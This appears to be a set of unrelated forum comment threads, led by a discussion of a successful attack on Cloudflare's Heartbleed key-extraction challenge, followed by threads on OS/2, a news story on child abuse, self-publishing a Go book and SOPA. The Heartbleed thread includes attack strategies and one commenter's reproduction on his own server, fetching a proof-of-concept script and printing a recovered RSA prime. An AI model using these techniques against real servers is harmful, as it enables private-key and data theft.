CloudFlare's Heartbleed challenge cracked - <AUTHOR> https://twitter.com/indutny/status/454773820822679552 <comment><USER2> Reading Cloudflare's blog post[0], they keep referring to the exploit having a length of 65,536 bytes, and how an allocation of that size is unlikely to find itself lower in the heap.

That is true - but this exploit doesn't depend on setting a length of 65,536. The server takes whatever length the client gives it (which is, afterall, the bug). Most of the early exploits just happen to set the maximum packet size to get as much data out (not realizing the nuances of heap allocation). You can set a length of 8bytes or 16bytes and get allocated in a _very different_ part of the heap.

The metasploit module for this exploit[1] supports varied lengths. Beating this challenge could have been as simple as running it with short lengths repeatably and re-assembling the different parts of the key as you find it.

 _edit_ something that I want to sneak in here since I missed the other threads. Cloudflare keep talking about how they had the bug 12 days early. Security companies and vendors have worked together to fix bugs in private for years, but this is the first time i've ever seen a company brag about it or put a marketing spin on it. It isn't good - one simple reason why: other security companies will now have to compete with that, which forces companies not to co-operate on bugs (we had the bug _16 days_ early, no _we_ had the bug _18_ days early!, etc.).

As users you want vendors and security companies _co-operating_ , not _competing_ at that phase.

[0] Cloudflare - Can You Get Private SSL Keys Using Heartbleed? [http://blog.cloudflare.com/answering-the-critical- question-c...](http://blog.cloudflare.com/answering-the-critical-question-can- you-get-private-ssl-keys-using-heartbleed)

[1] see [https://github.com/rapid7/metasploit- framework/blob/master/m...](https://github.com/rapid7/metasploit- framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb#L130-L149)

<comment><USER3> How do you know when you've found a piece of a key?

<comment><USER2> store everything, reconstruct it all later by trying to work out which part of the heap each request is from. there is likely some sort of efficiency calculus you can do here (i'm not good at math so I have no idea what i'm talking about) where you could calculate for heap size x and probabilities y and z etc. just how many requests and what size they should be to cover the entire process heap.

edit: OpenSSL wraps malloc, so it is different on different systems. You could find out what the probabilities are by looking at the source. For some reason FreeBSD's malloc gave up private keys with the default exploit length and not much effort. It was only a matter of time before other platforms were also figured out.

Note that the FreeBSD exploit worked on a fresh server after boot, which might have also been the case here.

Note that in the heap there are the intermediate values that and are used when constructing the connection and doing the encryption, you aren't exactly looking for '\</comment></comment></comment><comment>BEGIN PRIVATE KEY</comment><comment>' or base64 string, you'd be looking for those - each which have a unique data type.

<comment><USER4> > _Note that in the heap there are the intermediate values that and are used > when constructing the connection and doing the encryption, you aren 't > exactly looking for '\</comment></comment><comment>BEGIN PRIVATE KEY</comment><comment>' or base64 string, you'd > be looking for those - each which have a unique data type._

That's what I thought as well when I saw people POSTing strings like that and other people finding them. But when the key is first loaded from file, wouldn't actually all those base64 strings be in memory?

Probably just pretty unlikely that they would persist for a long time without being overwritten.

<comment><USER5> It shouldn't be about it eventually being overwritten, sensitive information like that (which isn't needed for runtime) should be actively scrubbed before the block of memory is freed.

You can't, however, get away with not having the private key modulus in memory (in some form) all the time.

</comment></comment><comment><USER6> [https://twitter.com/indutny/status/454767565991325697](https://twitter.com/indutny/status/454767565991325697)

How do you not love this guy.

<comment><USER7> Core node.js dev, based in Moscow, commits open source almost daily, works at Voxer, cracks security for fun.

I love the internet.

<comment><USER8> [https://twitter.com/indutny/status/454783660886360064](https://twitter.com/indutny/status/454783660886360064)

Just awesome. Only 3 hours to rip out the key!

</comment></comment></comment><comment><USER9> We have reached out via twitter to this invidiual as to coordinate the delivery of the $10,000 bounty we offered. If anyone is already in contact with them please direct them to [https://news.ycombinator.com/item?id=7572530](https://news.ycombinator.com/item?id=7572530)

<comment><USER10> Somehow I totally missed your bounty offer. Not that I was going to win if I had seen it, but where was it mentioned?

<comment><USER11> (at least) in a comment near the top in the hn annoncement thread for the challenge

</comment></comment></comment><comment><USER12> * From [https://www.cloudflarechallenge.com/heartbleed](https://www.cloudflarechallenge.com/heartbleed) *

So far, two people have independently solved the Heartbleed Challenge.

The first was submitted at 4:22:01PST by Fedor Indutny (@indutny). He sent at least 2.5 million requests over the span of the challenge, this was approximately 30% of all the requests we saw. The second was submitted at 5:12:19PST by Illkka Mattila using around 100 thousand requests.

We confirmed that both of these individuals have the private key and that it was obtained through Heartbleed exploits. We rebooted the server at 3:08PST, which may have contributed to the key being available in memory, but we can't be certain.

<comment><USER10> I wonder if the trick is to just send so many things that memory wraps around to a place where the key is exposed.

<comment><USER13> That was my plan of attack, I left my machine at home sniffing, wonder if I caught it.

Had bleed running in a while loop with no sleep and ab running on a loop as well sending connections to the server hoping to get the mem jostled around enough to cause something like that you described.

I was unsuccessful as of 9:30AM... now I'm really curious to get home and see if I actually caught it... even though I already missed the $10k boat :(

</comment></comment></comment><comment><USER14> The important thing to know here is that you not only have to change your current certs you ALSO HAVE TO REVOKE THE OLD ONE.

If you only change your current cert to get a new key but you don't go through the revocation process of the old certificate if someone managed to get the old one they can still use it for a MiTM attack - as both certs would be valid to any client.

<comment><USER15> Also, cert revocation just barely works, in some browsers, with EV certificates, after old CRLs expire over a course of months:

[http://news.netcraft.com/archives/2013/05/13/how- certificate...](http://news.netcraft.com/archives/2013/05/13/how-certificate- revocation-doesnt-work-in-practice.html)

<comment><USER16> Is there a tutorial (for multiple browsers/platforms) for browser users to manually initiate downloading and processing of the latest CRL? Is this even exposed by most modern browsers, i.e. as part of the "clear cache" functionality? If so, I'd want to tell my [self/family/friends/coworkers] to do this in the coming weeks to minimize the amount of time they might happen to send private information to a MITM attacking, say, an e-commerce site.

Specifically, I'd be most interested for such a walkthrough for Google Chrome on OS X, which most people I know use.

<comment><USER17> Chrome doesn't check revocations by default. See "Check for server certificate revocation" in settings, which has for a while been disabled by default.

</comment></comment></comment></comment><comment><USER18> [https://twitter.com/eastdakota/status/454792635279220737](https://twitter.com/eastdakota/status/454792635279220737)

Pic of the CloudFlare team reviewing the attack. Ten guys crowded around one monitor.

<comment><USER19> Hah! That's awesome. Gotta love the Sierra Nevada on the desk too :)

edit: now why in the world is my comment being downvoted?

<comment><USER20> Because HN readers only drink Pliny the Elder and mentioning any other beer is down vote criteria.

</comment></comment></comment><comment><USER21> So I didn't manage to crack the challenge (I used around 10k heartbeats), but I suspect it may have just been a case of brute-force (i.e asking for enough heartbleeds). Other people may have got the key without realizing that had done so because they were looking for the wrong thing (i.e. normal cert text representation).

I took the approach of using two fingerprints to search the data:

1) The hex sequence "30 82 .. .. 02 01 00" which would indicate the ASN.1 private key encoding which OpenSSL uses.

2) The modulus which I extracted from the public key (which would also be in the private key structure)

I didn't find any instance of the first, the second I found lots of instances of (because the modulus is also in the public key). I then filtered out all the instances of the public key by searching for the public key header ("30 82 .. .. 30 82").

This actually left me with two unique instances of the modulus in memory which weren't in a public key structure. I then tried to overlay the private key structure over the data and extracted what should have been the prime numbers and ran a primality test on them (to verify; another way would have been to just feed the structure into openssl). Both failed, so it wasn't the private key structure.

But there's a reasonable chance that those two instances represented a cryptographic calculation in progress; so while recovering the key wouldn't be as trivial as if you grabbed the full private key structure from memory (which I suspect is what the successful attackers did) I think it definitely represents another attack angle.

<comment><USER22> That's the way to do it - you can also use the tool interrogate:

[https://github.com/carmaa/interrogate](https://github.com/carmaa/interrogate)

/shameless plug

</comment></comment><comment><USER23> "We rebooted the server at 3:08PST, which may have contributed to the key being available in memory, but we can't be certain.". [https://www.cloudflarechallenge.com/heartbleed](https://www.cloudflarechallenge.com/heartbleed)

That doesn't make sense to me, seems like the key needs to be in memory all the time, or at least during every session.

<comment><USER24> It seems that someone is doing some requests with RSA keys as a parameter. It doesn't make sense at all to me doing such request in order to get the server private key. Anyone seeing the same?

<comment><USER25> They're probably trying to spoil the pot for the other people that are trying, by inserting extra private keys someone looking for 'just a private key' will grab one of the pushed ones.

</comment></comment></comment><comment><USER26> It probably took longer to compose that blog post than it took @indutny to disprove it.

</comment><comment><USER5> Didn't have any spare time to have a go at this, here's how I was going to do it:-

1) Create a VM with the same version of Linux, nginx, openssl.

2) Create a self-signed SSL certificate for the server

3) Verify that the HTTPS server is vulnerable to heartbleed

4) Run a few HTTPS requests against the server

5) Use gcore (or just send SIGABRT) to get a core file of the nginx process

6) Write a tool to check the memory image for remnants of the private key (since I know what it looks like). This may be encoded in several forms: as is from the ssl key file, hex encoded modulus, binary encoded modulus, however the BigNum stuff in OpenSSL stores the modulus, intermediate values used in calculations, etc. I can also check for partial matches since I know what the full key looks like.

7) Run the heartbleed client against the site to extract some chunks of memory, there are various strategies for this:-

a) Repeatedly grab the largest (65535) bytes of memory each time

b) Repeatedly grab different sizes (8KB, 16KB, etc) depending on the bucket sizes for OpenSSL's freelist wrapper around malloc.

c) Vary the request size (lots more headers, etc) to try and get different chunks of memory returned.

d) Occasionally restart nginx

8) Once I can reliably (for whatever value of reliably that is) get the key from my own server, I then modify the test for success from a comparison against the known private key, to a test which involves decrypting a string that was the result of encrypting some known plaintext with the known public key. That'll be slower, but still possible.

9) Run that analysis against real data retreived from the challenge server. The data (using the various strategies in #7) can be obtained in the background whilst I'm developing #1-#8. You can't rely on having sole access to the server so whatever strategy you use may be perturbed by other people performing requests.

10) Repeat #1-#8 for Apache and any other web server that is vulnerable to heartbleed.

This does work on the assumption that the key (in whatever form it is in) will be returned as a contiguous block of memory. Trying to patch together chunks of memory to look for the key will be much much harder unless there's significant overlap and it's easy to detect what/where a key is somehow.

</comment><comment><USER27> I am not sure how those guys did it, but I was talking to a friend of mine today, and I guess that it had something to do with forcing the server to use its private key to check for information sent to it. Then you use the heartbleed bug to intercept the intermediate forms on the information you sent to be decrypted/authenticated. Since you know the plaintext, the ciphertext and the intermediate forms, it should be possible to recover the key.

As I said, I am not sure that is right or if that was the method used to exploit cloudflare, as I didn't had the time nor the knowledge of openssl implementation to test it out, I am just throwing my guess out there before the official exploit comes about.

edit: formatting

<comment><USER28> You can't recover keys with known plaintext attacks in most encryption algorithms used nowadays, plus, as far as I know, they don't even use the private key to encrypt your request. They only use it for a DH handshake, which establishes the session key you are going to use.

</comment></comment><comment><USER29> Love to see a post on how it was done and the tools he used.

<comment><USER10> Same here. I was trying other ways in instead of Heartbleed, and made no progress. On the positive side, I wasn't expecting Cloudflare to be vulnerable to a timing attack anyway.

 _EDIT_ He won't reveal it for a week. Good on him. [https://twitter.com/indutny/status/454790640078176256](https://twitter.com/indutny/status/454790640078176256)

</comment></comment><comment><USER30> So this does mean that I need to change my passwords on every damn site on the list? Oh bollocks, those passwords were a work of art.

<comment><USER31> No. This means you need to change keys for every ssl service you run. Passwords were known to be leaked earlier.

<comment><USER32> Really it means (as everyone assumed in the first place) that anything a web server might have in its heap needs to be totally thrown away. Private keys. Passwords. Credit card numbers. Security questions/answers. Sessions.

Anything you'd send to a web server or receive from a web server is presumed compromised.

<comment><USER33> Seen on Twitter a few days ago: "Heartbleed is the Red Wedding of the Internet". Thought it hyperbolic at the time, but not any more...

</comment></comment></comment></comment><comment><USER34> So @indutny sent at least 2.5 million requests, should we start to think more on the practical prevention techniques?

<comment><USER35> A different person achieved retrieving the key in 100,000 requests, which is well within a practical and cheap botnet attack. The next question is how much of the key did they receive in the requests that revealed the key. If it was most or all of the key, a single attack node could query 100,000 different servers with the high probability of retrieving a key at least once with a low probability of being blocked by any of the servers.

TL:DR, patch OpenSSL and revoke and rekey all your certs.

</comment></comment><comment><USER36> Well, so much for wishful thinking.

</comment><comment><USER37> Considering he just pulled a shadow file as well, it's not pretty.

<comment><USER10> I think someone else found that, although he linked to their pic.

Remember, lots of people are pushing up bogus stuff into the heap, so just because you see something there doesn't mean Cloudflare leaked it.

<comment><USER5> And who runs their webserver as root? (Or who changes the permissions on /etc/shadow to allow it be read by a non-root process).

Having to be root to be able to bind to a TCP port <1024 is no longer necessary on a modern OS.

</comment></comment></comment><comment><USER38> An error occurred during a connection to www.cloudflarechallenge.com. Peer's Certificate has been revoked. (Error code: sec_error_revoked_certificate)

Game over...

</comment><comment><USER39> Ah crap.

<comment><USER40> On the other hand, if anyone asks me to justify all that "unproductive time" this week, I don't need to handwave and explanations any more.

<comment><USER41> I was lucky, my boss understood pretty quickly how big a deal it was. My project manager didn't, though, but he did pretty quick when I cracked our dev server and told him his password for a couple of services.

It was fun playing pen tester and getting paid for it this week :)

<comment><USER42> Do you guys store passwords in plain text? Shouldn't you only be able to get password hashes from a vulnerable server? I might be reading too much into your statement, but I'd like to know if I'm misunderstanding the situation.

<comment><USER43> you are underestimating the severity of the bug. The bug leaks server memory - in which case unencrypted passwords are being sent to the server by the user's browser in order to be hashed to be compared to the hashed versions in storage.

Normally this is protected by tls, but as you can see, for servers that suffer from this hole, it's as good as naught.

Note that this occurs for "any" connections hitting the vulnerable server, meaning that the patient attacker can just run this in a script and scoop up passwords, credit card #'s, form information POST'ed in by all users of the web service all day long until the hole is closed. and even then there's a good chance that the private keys were already exposed, in which case the attacker can now masquerade as the server.

<comment><USER44> This is why I always make sure to GC, delete or NULL input variables (you must include the request; body et al.) after encrypt/hash/<mechanism>.

I basically take the stanze that I want as little to do with your real password as possible.

<comment><USER45> Perhaps you should over-write them with garbage before doing this. Simply deallocating them (or assigning them to new objects) could leave them hanging around in memory until something else overwrites the same memory space.

</comment></comment></comment></comment></comment></comment></comment><comment><USER46> i think cloudfare's version of nginx is a lucky version or my code is bugged or time after restart is important or you need to do some heap-fu by sending different payload sizes.

so i booted up a micro vm on amazon aws and was able to dump the private key in one request.

Ubuntu Server 13.10 (PV) - ami-35dbde5c

      sudo add-apt-repository ppa:nginx/development
      sudo apt-get update
      sudo apt-get install nginx
      sudo apt-get install ssl-cert

modify /etc/nginx/sites-enabled/default uncomment ssl server and change certs:

      ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
      ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;

      sudo /etc/init.d/nginx restart

      curl -O https://gist.githubusercontent.com/benmmurphy/12999c91a4d328b749e3/raw/9bcd402e3d9beec740a61a1585e24c36dea80859/heartbeat.py
      chmod u+x heartbeat.py

      ubuntu@ip-10-185-20-243:~$ ./heartbeat.py localhost /etc/ssl/certs/ssl-cert-snakeoil.pem
      Using modulus: C30FB990C6C1EE4EE4524A724BDF10DCDC735C9BCCED84B38796584DCE9F7CB1027CCF63A0E604882AE9B8639CD0955C207BE641943AE38AC4DAE63ECCE7E79ACE7EB9EB5D92F55761924C35A00EB5AE4759CB6DC938DBD48ED34685BC32B3193FEF55F081BB2BFC33494F26E556803FD2506F94301DFD688A63F9F3572C540F3F5E7679D5454E532503636ABFCB95AC5674D47C2B23C4418E04BE1D36AECF6BFEA81FC38FCA3E72A3EACD0BFD4E07FDC3BFA8E70E002ECA68FE8E0621F56081D90A3724A1BED6B5E3BDCDCC02B4EDEAFD0EC4D60C7DEC95BF7756CD82442915EE1AB6738F38B3BA932C8D27B34E94205C84AB64ACC34487ED2FF3804332AB63

      Using key size: 128
      Scanning localhost on port 443
      Connecting...
      Sending Client Hello...
      Waiting for Server Hello...
      Got length: 66
       ... received message: type = 22, ver = 0302, length = 66
      Message Type is 0x02
      Got length: 750
       ... received message: type = 22, ver = 0302, length = 750
      Message Type is 0x0B
      Got length: 331
       ... received message: type = 22, ver = 0302, length = 331
      Message Type is 0x0C
      Got length: 4
       ... received message: type = 22, ver = 0302, length = 4
      Message Type is 0x0E
      Server sent server hello done
      Server TLS version was 1.2

      Sending heartbeat request...
      Got length: 16384
       ... received message: type = 24, ver = 0302, length = 65551
      Received heartbeat response:
      Got result: 154948185083822336433702373602285084550034029190596792283600073258494868382158852796844241764405565518400264295279959791461705192749666707538790201985451035410116800023040704455951541838840288378897688943017357577574672157589664822948047455855119173651635078033464041188274590174256703712210173285385390714209
      found prime: 0xdca74e63a186d60a9de3c8211e21a5b165c6d86d285c1d6eece2ad7a2505890ebae513e3013c3602f148e2112eaa99edd8ff5922494c4db47156727f93ab0f35a298553a82dfbd91e5e8aff2e969f31db31263bce9a89d95b64ff38ff5b86d47fa2e70aac5198d2ea967eb952f48b7264e824bd03b1c955294fb9caeed02ed61L

you can check the prime by doing:

      ubuntu@ip-10-185-20-243:~$ sudo openssl rsa -in /etc/ssl/private/ssl-cert-snakeoil.key -text

      ..

      prime1:
          00:e2:4e:eb:f7:88:3a:d4:ad:61:2c:ef:6f:b2:a6:
          3b:dd:c4:99:89:f1:b4:6e:6b:ce:76:51:c3:23:f7:
          7a:37:69:f9:6c:eb:65:3d:cd:6a:f7:c9:97:96:b0:
          f6:39:72:8a:ca:f7:45:3c:ff:25:b0:dd:a9:c1:08:
          c3:aa:53:41:22:20:df:74:cb:1d:ad:ce:67:1d:11:
          00:15:33:65:1f:d4:b9:a8:2b:27:50:da:7c:a7:e1:
          88:d1:2c:d8:d9:32:07:ba:23:e1:40:fa:fa:94:46:
          7f:9b:35:a1:d2:e4:91:86:f6:f3:79:2f:53:fd:95:
          4d:99:56:b3:c0:be:97:6b:43
      prime2:
          00:dc:a7:4e:63:a1:86:d6:0a:9d:e3:c8:21:1e:21:
          a5:b1:65:c6:d8:6d:28:5c:1d:6e:ec:e2:ad:7a:25:
          05:89:0e:ba:e5:13:e3:01:3c:36:02:f1:48:e2:11:
          2e:aa:99:ed:d8:ff:59:22:49:4c:4d:b4:71:56:72:
          7f:93:ab:0f:35:a2:98:55:3a:82:df:bd:91:e5:e8:
          af:f2:e9:69:f3:1d:b3:12:63:bc:e9:a8:9d:95:b6:
          4f:f3:8f:f5:b8:6d:47:fa:2e:70:aa:c5:19:8d:2e:
          a9:67:eb:95:2f:48:b7:26:4e:82:4b:d0:3b:1c:95:
          52:94:fb:9c:ae:ed:02:ed:61
      ..

so the exploit is the most stupid one possible. i took the POC code and changed it to read all 64k. The version i had was reading only 14kb from the server. Then just check all the 128 byte strings to see if they divide the modulus evenly.

<comment><USER47> Interesting. But from got the prime1 and prime2, from there how do you obtain the private certificate?

<comment><USER46> i think this took me as long as coding the recovery tool :(

[https://github.com/jjarmoc/csaw2012_cert_app/blob/master/lib...](https://github.com/jjarmoc/csaw2012_cert_app/blob/master/lib/openssl- patch.rb)

[https://github.com/ius/rsatool](https://github.com/ius/rsatool)

<comment><USER48> Yah, that's the trickiest part. I was pretty ecstatic when I found a real world use case for toy code that I spent way too much time on :)

</comment></comment></comment></comment><comment><USER47> I was unable to replicate. Can someone give more details, maybe the heartbleed script updated and some instructions to replicate it? Thanks.

</comment><comment><USER49> Why did anyone need this challenge in the first place? Couldn't someone have justed ASKED a good exploit developer what they would do and what the impact is? No, I guess we're all up for wasting people's time and creating potential false negatives.

<comment><USER50> Because good idea in theory != good idea in practice. Showing that this actually works in practice (albeit on an isolated incident) shows that the bug is dangerous in practice, not just theory. Look at all the research in timing attacks etc on TLS, some of which are theoretically feasible, until you consider real world possibilities of remote servers, such as "Their ISP is fiddling with routing so I have varying latency", or "They're using different server configurations and I don't get connected to the same one every time". This has been PROVEN to steal someones private key, which is worse than giving someone the keys to your house, It's like giving them a blank passport with your name on it, letting them put their photo on it, and with that taking your car keys and hosue keys, and everything that identifies you.

Luckily, the fix is easy, just upgrade, revoke, and force password changes for everyone.

<comment><USER51> Yeah, I bet that fix is real easy.

</comment></comment></comment><comment><USER52> Hubris is ugly.

</comment><comment><USER53> IMO, CloudFlare is lame. Kudos to this guy for reminding me just how much so.</comment>


Was OS/2 a viable alternative for daily DOS and Windows tasks? - <AUTHOR> https://retrocomputing.stackexchange.com/questions/5907/was-os-2-a-viable-alternative-for-daily-dos-and-windows-tasks <comment><AUTHOR> From: [https://tech.slashdot.org/comments.pl?sid=155912&cid=1306984...](https://tech.slashdot.org/comments.pl?sid=155912&cid=13069840)

Will they finally open the Workplace Shell? It's a truly object-oriented desktop design that's still superior - a decade later - to anything Windows has to offer. Looking back it's hard to believe a lot of the early FUD from MS against OS/2 was aimed at scaring people away because, hey, 2 megabytes of memory was just an absurd requiremet! They also claimed multithreaded programming was no big deal. If they open up the Workplace Shell maybe OS/2 could preserve some of its legacy. It would rock on Linux.

From: [https://tech.slashdot.org/comments.pl?sid=155912&cid=1307025...](https://tech.slashdot.org/comments.pl?sid=155912&cid=13070250)

What does this even mean?

Inheritance. In windows (or Linux) a file is an extension and is associated with an application or collection of applications. In OS/2 a file can inherit from various parents. So for example you could have a file xyz.mp3 of a lecture:

1) Since its an .mp3 the sound programs work on it and "edit" opens it up in a sound editor

2) Since its part of a lecture it will inherit from the word transcript and when you "open for transcription" it opens with another (say word doc) transcript

3) Since the lecture an be associated with other lectures which have video with them when you "open for viewing" it can pull up the associated powerpoint

etc...

Now the important thing is that these behaviors are inherited because the xyz.mp3 is a member of class lecture in addition to being a member of the class .mp3. Members of the class .mp3 are sound files while members of the class lecture have associated transcripts and lectures.

It also made some attempt at polymorphic behavior (i.e. edit, open, etc..). Finally information was encapsulated at the lowest level (the file, the folder, etc..)

<comment><USER2> Ah Workplace. That was the best (and worst) aspect of the v2 release. It came as a shock to me and many others that it was included and was a divisive feature. The bad part was the instability of early versions. The great part was the metaphor and programmable possibilities.

In terms of the programming, the whole CORBA influence on SOM and its use on making Workplace objects seemed like overkill or at least wasn't executed well to make the developer experience smooth.

For me the killer app was the Icon Editor which you could fire up by right clicking on any icon you see on your desktop. More time was sunk in there than I ever spent playing Solitaire and FreeCell on Windows.

</comment></comment><comment><AUTHOR> From: [https://tech.slashdot.org/comments.pl?sid=155912&cid=1306964...](https://tech.slashdot.org/comments.pl?sid=155912&cid=13069642)

We wrote a large body of building automation software subsystems in OS/2\. There was no easy way to provide the same functionality in Windows, so it was never cost effective to port it.

To this day, we keep the central routing server and all the subsystems in OS/2 boxes that are treated like embedded control systems, and have written Windows 2K-based interface code that proxies everything as BACnet devices.

OS/2 was a good combination of modern OS services (named pipes, threads, etc.) and easy development. Given how simple it was to access serial ports, we could easily interface via DigiBoard multiplexers and such, and could write a new system driver (including reverse engineering time) in less than six months.

I'm the primary contact for IBM in our office, so they've been flooding me with information about porting these apps to Linux, which sadly, may never be cost effective.

I am _very_ sorry to see this event, even though I fully understand and appreciate all the factors that led to OS/2's demise. It's like watching a very dependable ship being sent to the bottom of the ocean because it's too expensive to keep it afloat.

Oh well...

Tim

</comment><comment><AUTHOR> From: [https://tech.slashdot.org/comments.pl?sid=155912&cid=1306981...](https://tech.slashdot.org/comments.pl?sid=155912&cid=13069812)

Good luck with that son, but I'm sorry to tell you that Microsft did NOT help IBM code OS/2 so it would run Windows. As a matter of fact, Microsoft did far more to STOP OS/2 from running Windows and Windows applications. When Microsoft was releasing betas of Chicago( Win95 ), IBM had Chicago apps running under OS/2\. When Microsoft found out, they changed the OS so that a very small portion of the Win32 resources loaded up at the 1GB memory address. This was so OS/2 could not run ANY Chicago applications or the OS. It worked because OS/2 supported virtual memory up to 512MB.

So you got that WAY WRONG. The bit about Microsoft licensing issues preventing opensourcing OS/2 is correct.

LoB

</comment><comment><USER2> I used OS/2 as my primary OS v1.3 thru Warp 3 including the betas and SDKs. It made for a great development environment with true multitasking and HPFS (the high-performance file system) which really was much faster than FAT. In that context it was a good daily driver.

For DOS and Windows, it could run legacy apps but not the newer Win32 (i.e. Windows 95) apps and if you needed those versions it wouldn't be viable. That said, there were just enough apps to make it work if you cared, similar to the current situation with Linux. I remember the Describe word processor which was the first non-desktop-publishing editor that handled styles properly. Development tools and hardware support continually improved. What was lacking was interoperability with folks using Windows 95 (e.g. Office).

After the whole IBM/MS OS/2 v2/v3 (aka NT) ordeal, we all switched to Windows NT and everything was fine (except for IBM).

</comment><comment><USER3> No it really wasn't.

If you want to understand the mindset at the time, it was all about hardware drivers. The only thing that mattered was hardware drivers, and the hardware manufacturers created drivers for dos/windos and _nothing else at all_.

Drivers was one of the primary challenges holding back any competition to MS. True also of OS/2.

OS/2 was seen as a solid architecture, but it arrived without a GUI, right at the time that the GUI became the key feature needed in any OS. It didn't take long for the Presentation Manager GUI to arrive, but it was nothing exciting.

The other thing seen as an issue at the time was that OS/2 was built for the rather terrible 80286 when really what was needed was full 32 bit 80386 support. It eventually got the 32 bit support but this was a bad start.

Microsoft released Word and Excel for OS/2 then discontinued them. That was the finish of OS/2.

</comment><comment><USER4> Define viable.

Could you buy a white-box PC with it already installed, for the same price as one with Windos on it? Were there drivers for all the hardware likely to be needed? No and no.

Sure it would run the programs, way more reliably than Windos could.

The playing field was sharply tilted, so there was never a possibility of fair competition.

</comment><comment><USER5> As a former OS/2 lover, no.</comment>


Child Abusers Run Rampant as Tech Companies Look the Other Way - <AUTHOR> https://www.nytimes.com/interactive/2019/11/09/us/internet-child-sex-abuse.html <comment><USER2> I see Mark Thompson (former BBC) is still the CEO.

[https://www.telegraph.co.uk/news/uknews/crime/jimmy- savile/1...](https://www.telegraph.co.uk/news/uknews/crime/jimmy- savile/10512203/Former-BBC-boss-Mark-Thompson-lied-over-Savile-evidence-Nick- Pollard-claims.html)

[https://gawker.com/here-are-some-top-n-y-times-editors- and-s...](https://gawker.com/here-are-some-top-n-y-times-editors-and-staff- joking-a-1713336525)

</comment><comment><USER3> Really like how they show the process as you scroll. Can give some readers a sense of how things actually get developed, especially with smaller one-off projects like these.

</comment><comment><USER4> This is worth reading all the way through. The script the Times team wrote to keep Bing and other search engines accountable is a great example of effective tech journalism.

</comment><comment><USER5> Tech companies not the only ones looking the other way.

[https://www.bitchute.com/video/pyro9_SW_QY/](https://www.bitchute.com/video/pyro9_SW_QY/)

<comment><USER6> That link is gonna stay un-clicked. No thanks.

<comment><USER7> It's a video about this story: 'NBC, ABC And CBS Appear To Have Run Cover For World's Most Powerful Rape Rings'.

[https://dailycaller.com/2019/11/07/nbc-abc-cbs-rape-rings- we...](https://dailycaller.com/2019/11/07/nbc-abc-cbs-rape-rings-weinstein- epstein/)</comment></comment></comment>


How I Published my Book on Go - <AUTHOR> http://www.doxsey.net/blog/how-to-write-a-book%3A-money-and-publishing

<comment><USER2> Did you consider self-publishing via an affiliate marketing service like ClickBank? I consider a book on Golang to be niche enough to warrant pricing in the area of $50-$100, but that may just be me.

Thanks for sharing your experience!

EDIT: One afterthought.. perhaps you could borrow the model that [http://ruby.railstutorial.org/](http://ruby.railstutorial.org/) uses. The HTML online version of the book is free, but the PDF download is $26. Since you already have [http://www.golang-book.com/](http://www.golang-book.com/) that enjoys reasonably steady traffic, why not give it a shot?

</comment><comment><USER3> I'm glad I saw this, I have been looking for a book on Go to use as a resource. I've jumped right in with success, but I feel like I'm missing some of the main fundamentals that could expand my knowledge further. Just bought the Kindle version :)

</comment><comment><USER4> FWIW, having read through this book, I highly recommend it for anyone interested in learning Go. It provides a good, clear introduction to the language and is very easy to digest.

</comment><comment><USER5> Thanks for sharing your experience! I'm wondering how does the editorial process work with this approach? How does the publisher ensure quality?

<comment><AUTHOR> Create Space has automated systems that check technical things (like images being in the right format). I don't think there's much of any review of content.

It only took a few hours to get approved once I submitted it.</comment></comment>


Al Gore Comes Out Against SOPA/PIPA - <AUTHOR> http://www.techdirt.com/articles/20120105/18151717292/al-gore-comes-out-against-sopapipa.shtml <comment><USER2> Stage two of this whole SOPA initiative is telegraphed quietly within the Al Gore speech:

"As in all things, some compromise must be possible."

I've believed for quite some time that SOPA itself was never really seriously thought to be passable by anyone. Rather just an extreme first salvo to make the next set of oppressive measures seem like a reasonable compromise in comparison.

<comment><USER3> Ah, herein lies the genius of experienced lobbyists. It's straight from the regulatory capture playbook - in Canada, for example, telecoms know they need to approach the CRTC (which regulates telecommunications) with an extreme list of demands so that they can negotiate down to their desired items while making it seem like a compromise has been reached.

I think the only right way to do it is in reverse... start with a list of idealized demands from a citizen/consumer point of view, then let industry push back on the really egregious items until an actual compromise has been reached.

</comment></comment><comment><USER4> When I first saw the Al Gore headline I immediately thought of South Park and ManBearPig, but that made me think something like southpark (i.e a comedy that's not afraid to get a bit political) might be an excellent way to raise awareness of exactly this issue.

Shame the law will probably have passed by the time they make a new season.

<comment><USER5> It seems likely the people creating South Park (and not just Trey and Matt) would be pro-SOPA. After all, most people in the entertainment sector see it as a threat. (Yes, we may argue that South Park is popular because of the Internet.. but it's entirely likely they'd see it a different way.)

<comment><USER6> A quick Googling didn't turn up anything, but I'd be shocked if Matt and Trey supported SOPA. Comedy Central, maybe, but not them.

Allegedly from the South Park Studios FAQ: (<http://www.idealog.us/2006/10/matt_and_trey_w.html>):

> Matt and Trey do not mind when fans download their episodes off the > Internet; they feel that it's good when people watch the show no matter how > they do it.

</comment></comment></comment><comment><USER7> I'm glad the subhead of the article made the joke we were all thinking as soon as we read the title on HN so none of us has to make it.

Too bad it sounds like there's no actual proof that he's talking about SOPA/PIPA, although it would be pretty hard to argue otherwise. If true would Gore be the most notable politician to come out against these acts? (As much as some of us might wish otherwise, it's not all that notable for Ron Paul to come out against it.)

<comment><USER8> No, of the current politicians, Nancy Pelosi is the most notable to come out against it:

<http://sopaopera.org/P000197/> (entire list at <http://sopaopera.org>)

I'd also argue that Sen. Rand Paul is more prominent than Ron Paul because he's a Senator...at least in terms of real influence. He's 1 out of 100 votes; a filibuster of the Senate variant of SOPA needs 40 votes.

<comment><USER9> Senator Ron Wyden has already promised a filibuster for PIPA.

<comment><USER10> The point is that without 40 more people on his side, they can just shut down Wyden's filibuster as soon as it starts.

</comment></comment></comment></comment><comment><USER11> "This video has been removed by the user"

<comment><USER12> Better than "This site have been remove by a single user"

</comment></comment><comment><USER13> Trevor Strong of the Arrogant Worms thanked me for downloading their music. Of course downloading the music made me a big enough fan of theirs to drive 300 miles to see them in concert as well as buying several CDs there. I also introduced many people to their music.

Point being I think many artist are open(ish) about sharing music (for example). It does seem things like SOPA come from far larger groups like the RIAA.

</comment><comment><USER14> He's to be commended for making SOPA's "unintended" consequences easy to understand for the masses. He essentially came up with the best argument as to why SOPA should not be passed (i.e. internet censorship in Tunis and Egypt at the height of the Arab Spring).

</comment><comment><USER15> The video is no longer working.

</comment><comment><USER16> Shouldn't creative people support SOPA?

Is SOPA really a war between creative people and analytical people?

